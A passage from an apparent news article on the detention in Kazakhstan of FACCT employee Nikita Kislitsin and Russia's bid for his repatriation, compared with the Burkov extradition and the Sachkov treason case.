“According to the information we have, the claims against Kislitsin are not related to his work at FACCT, but are related to a case more than 10 years ago when Nikita worked as a journalist and independent researcher,” FACCT wrote.
From 2006 to 2012, Kislitsin was editor-in-chief of “Hacker,” a popular Russian-language monthly magazine that includes articles on information and network security, programming, and frequently features interviews with and articles penned by notable or wanted Russian hackers.
“We are convinced that there are no legal grounds for detention on the territory of Kazakhstan,” the FACCT statement continued. “The company has hired lawyers who have been providing Nikita with all the necessary assistance since last week, and we have also sent an appeal to the Consulate General of the Russian Federation in Kazakhstan to assist in protecting our employee.”
FACCT indicated that the Kremlin has already intervened in the case, and the Russian government claims Kislitsin is wanted on criminal charges in Russia and must instead be repatriated to his homeland.
“The FACCT emphasizes that the announcement of Nikita Kislitsin on the wanted list in the territory of the Russian Federation became known only today, June 28, 6 days after the arrest in Kazakhstan,” FACCT wrote. “The company is monitoring developments.”
The Kremlin followed a similar playbook in the case of Aleksei Burkov, a cybercriminal who long operated two of Russia’s most exclusive underground hacking forums. Burkov was arrested in 2015 by Israeli authorities, and the Russian government fought Burkov’s extradition to the U.S. for four years — even arresting and jailing an Israeli woman on phony drug charges to force a prisoner swap.
That effort ultimately failed: Burkov was sent to America, pleaded guilty, and was sentenced to nine years in prison.
Alexei Burkov, seated second from right, attends a hearing in Jerusalem in 2015. Image: Andrei Shirokov / Tass via Getty Images.
Arkady Bukh is a U.S. attorney who has represented dozens of accused hackers from Russia and Eastern Europe who were extradited to the United States over the years. Bukh said Moscow is likely to turn the Kislitsin case into a diplomatic time bomb for Kazakhstan, which shares an enormous border and a great deal of cultural ties with Russia. A 2009 census found that Russians make up about 24 percent of the population of Kazakhstan.
“That would put Kazakhstan at a crossroads to choose between unity with Russia or going with the West,” Bukh said. “If that happens, Kazakhstan may have to make some very unpleasant decisions.”
Group-IB’s exodus from Russia comes as its former founder and CEO Ilya Sachkov remains languishing in a Russian prison, awaiting a farcical trial and an inevitable conviction on charges of treason. In September 2021, the Kremlin issued treason charges against Sachkov, although it has so far refused to disclose any details about the allegations.
Sachkov’s pending treason trial has been the subject of much speculation among denizens of Russian cybercrime forums, and the consensus seems to be that Sachkov and Group-IB were seen as a little too helpful to the DOJ in its various investigations involving top Russian hackers.
Indeed, since its inception in 2003, Group-IB’s researchers have helped to identify, disrupt and even catch a number of high-profile Russian hackers, most of whom got busted after years of criminal hacking because they made the unforgivable mistake of stealing from their own citizens.
When the indictments against Kislitsin were unsealed in 2020, Group-IB issued a lengthy statement attesting to his character and saying they would help him with his legal defense. As part of that statement, Group-IB noted that “representatives of the Group-IB company and, in particular, Kislitsin, in 2013, on their own initiative, met with employees of the US Department of Justice to inform them about the research work related to the underground, which was carried out by Kislitsin in 2012.”
